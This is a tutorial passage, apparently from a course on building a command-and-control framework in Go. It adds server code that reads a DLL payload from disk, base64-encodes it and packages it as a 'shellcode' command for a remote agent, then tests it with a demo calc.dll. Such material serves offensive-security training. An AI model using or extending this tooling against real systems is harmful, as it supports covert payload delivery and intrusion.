Just like we validated command-specific arguments, sometime we also need to process them - ie prepare them before they can be received by agent

We will essentially follow same pattern we used for validation

So we create a new type that is a function

But this is the function for each command that will process the arguments

Staying once again in command_api.go

So now let's define the new type, we can see it has same essential shape as `CommandValidator`

```
// CommandProcessor processes command-specific arguments
type CommandProcessor func(json.RawMessage) (json.RawMessage, error)
```

Great now we also add this to `validCommands`

```
// Registry of valid commands with their validators and processors
var validCommands = map[string]struct {
    Validator CommandValidator
    Processor CommandProcessor
}{
    "shellcode": {
       Validator: validateShellcodeCommand,
       Processor: processShellcodeCommand,
    },
}
```

Again as we can see here the specific instance for load is called `processShellcodeCommand` so let's create it

- But before we do, recall that in models/types.go we have the loadArgs type specifically for when it came from Client
- For the load arguments, we will take the path, load the DLL, and convert binary data to base64 to transfer to Agent over wire
- So to that same file let's now add this custom type that is the arguments, but sent from the server to agent

```go
// ShellcodeArgsAgent contains the command-specific arguments for
Shellcode Loader as sent to the Agent
type ShellcodeArgsAgent struct {
    ShellcodeBase64 string `json:"shellcode_base64"`
    ExportName      string `json:"export_name"`
}
```

- So `FilePath` has changed to `ShellcodeBase64`
- Ok now back in shellcode.go we can implement our `processShellcodeCommand`

```go
// processShellcodeCommand reads the DLL file and converts to base64 to
create arguments sent to agent
func processShellcodeCommand(rawArgs json.RawMessage) (json.RawMessage,
error) {

    var clientArgs models.ShellcodeArgsClient

    if err := json.Unmarshal(rawArgs, &clientArgs); err != nil {
        return nil, fmt.Errorf("unmarshaling args: %w", err)
    }

    // Read the DLL file
    file, err := os.Open(clientArgs.FilePath)
    if err != nil {
        return nil, fmt.Errorf("opening file: %w", err)
    }
    defer file.Close()

    fileBytes, err := io.ReadAll(file)
    if err != nil {
        return nil, fmt.Errorf("reading file: %w", err)
    }

    // Convert to base64
    shellcodeB64 := base64.StdEncoding.EncodeToString(fileBytes)

    // Create the arguments that will be sent to the agent
```

```
    agentArgs := models.ShellcodeArgsAgent{
        ShellcodeBase64: shellcodeB64,
        ExportName:      clientArgs.ExportName,
    }

    // Marshall arguments ready to be sent to agent
    processedJSON, err := json.Marshal(agentArgs)
    if err != nil {
        return nil, fmt.Errorf("marshaling processed args: %w", err)
    }

    log.Printf("Processed file: %s (%d bytes) -> base64 (%d chars)",
        clientArgs.FilePath, len(fileBytes), len(shellcodeB64))

    return processedJSON, nil
}
```

- Go through this top to bottom briefly explain everything it does
- We can see here (describe in greater details):
- instantiate struct `clientArgs` which is current form of fields ie as they were received by client
- unmarshal argument into this struct
- we read the DLL from disk
- we convert the binary data to base64 string
- we create a new struct to hold this new form of arguments - now we have b64 data instead of path, and ExportName stays same
- We marshall it
- we return marshalled form, processed arguments
- Great so now once again the final thing we need to do to put it into action is call it from the main command Handler

```
func commandHandler(w http.ResponseWriter, r *http.Request) {

    // Instantiate custom type to receive command from client
    var cmdClient models.CommandClient

    // The first thing we need to do is unmarshall the request body into
```

```
the custom type
    if err := json.NewDecoder(r.Body).Decode(&cmdClient); err != nil {
        log.Printf("ERROR: Failed to decode JSON: %v", err)
        w.WriteHeader(http.StatusBadRequest)
        json.NewEncoder(w).Encode("error decoding JSON")
        return
    }

    // Visually confirm we get the command we expected
    var commandReceived = fmt.Sprintf("Received command: %s",
cmdClient.Command)
    log.Printf(commandReceived)

    // Check if command exists
    cmdConfig, exists := validCommands[cmdClient.Command] // Replace _
with cmdConfig
    if !exists {
        var commandInvalid = fmt.Sprintf("ERROR: Unknown command: %s",
cmdClient.Command)
        log.Printf(commandInvalid)
        w.WriteHeader(http.StatusBadRequest)
        json.NewEncoder(w).Encode(commandInvalid)
        return
    }

    // Validate arguments
    if err := cmdConfig.Validator(cmdClient.Arguments); err != nil {
        var commandInvalid = fmt.Sprintf("ERROR: Validation failed for
'%s': %v", cmdClient.Command, err)
        log.Printf(commandInvalid)
        w.WriteHeader(http.StatusBadRequest)
        json.NewEncoder(w).Encode(commandInvalid)
        return
    }

    // Process arguments (e.g., load file and convert to base64)
    processedArgs, err := cmdConfig.Processor(cmdClient.Arguments)
    if err != nil {
        var commandInvalid = fmt.Sprintf("ERROR: Processing failed for
'%s': %v", cmdClient.Command, err)
```

```
        log.Printf(commandInvalid)
        w.WriteHeader(http.StatusBadRequest)
        json.NewEncoder(w).Encode(commandInvalid)
        return

    }

    // Update command with processed arguments
    cmdClient.Arguments = processedArgs
    log.Printf("Processed command arguments: %s", cmdClient.Command)

    // Confirm on the client side command was received
    w.WriteHeader(http.StatusOK)
    json.NewEncoder(w).Encode(commandReceived)

}
```

This is our new code

```
    // Process arguments (e.g., load file and convert to base64)
    processedArgs, err := cmdConfig.Processor(cmdClient.Arguments)
    if err != nil {
        var commandInvalid = fmt.Sprintf("ERROR: Processing failed for
'%s': %v", cmdClient.Command, err)
        log.Printf(commandInvalid)
        w.WriteHeader(http.StatusBadRequest)
        json.NewEncoder(w).Encode(commandInvalid)
        return

    }

    // Update command with processed arguments
    cmdClient.Arguments = processedArgs
    log.Printf("Processed command arguments: %s", cmdClient.Command)
```

- Briefly explain

We are now once agian ready to test

test

```
❯ curl -X POST http://localhost:8080/command \
  -d '{
    "command": "shellcode",
    "data": {
      "file_path": "./payloads/calc.dll",
      "export_name": "LaunchCalc"
    }
  }'
"Received command: shellcode"
```

And we can see on the server side it was processed

```
❯ go run ./cmd/server
2025/11/06 14:42:09 Starting Control API on :8080
2025/11/06 14:42:09 Starting  server on 0.0.0.0:8443
2025/11/06 14:42:14 Received command: shellcode
2025/11/06 14:42:14 Validation passed: file_path=./payloads/calc.dll,
export_name=LaunchCalc
2025/11/06 14:42:14 Processed file: ./payloads/calc.dll (111493 bytes) ->
base64 (148660 chars)
2025/11/06 14:42:14 Processed command arguments: shellcode
```

Great, now we've done everything on the server side after receiving command we need to do - made sure command exists, validated cmd-specific arguments, and processed cmd-specific arguments, the next thing we need to do now is to queue the command so that it can be "stored" while waiting for the agent to check in again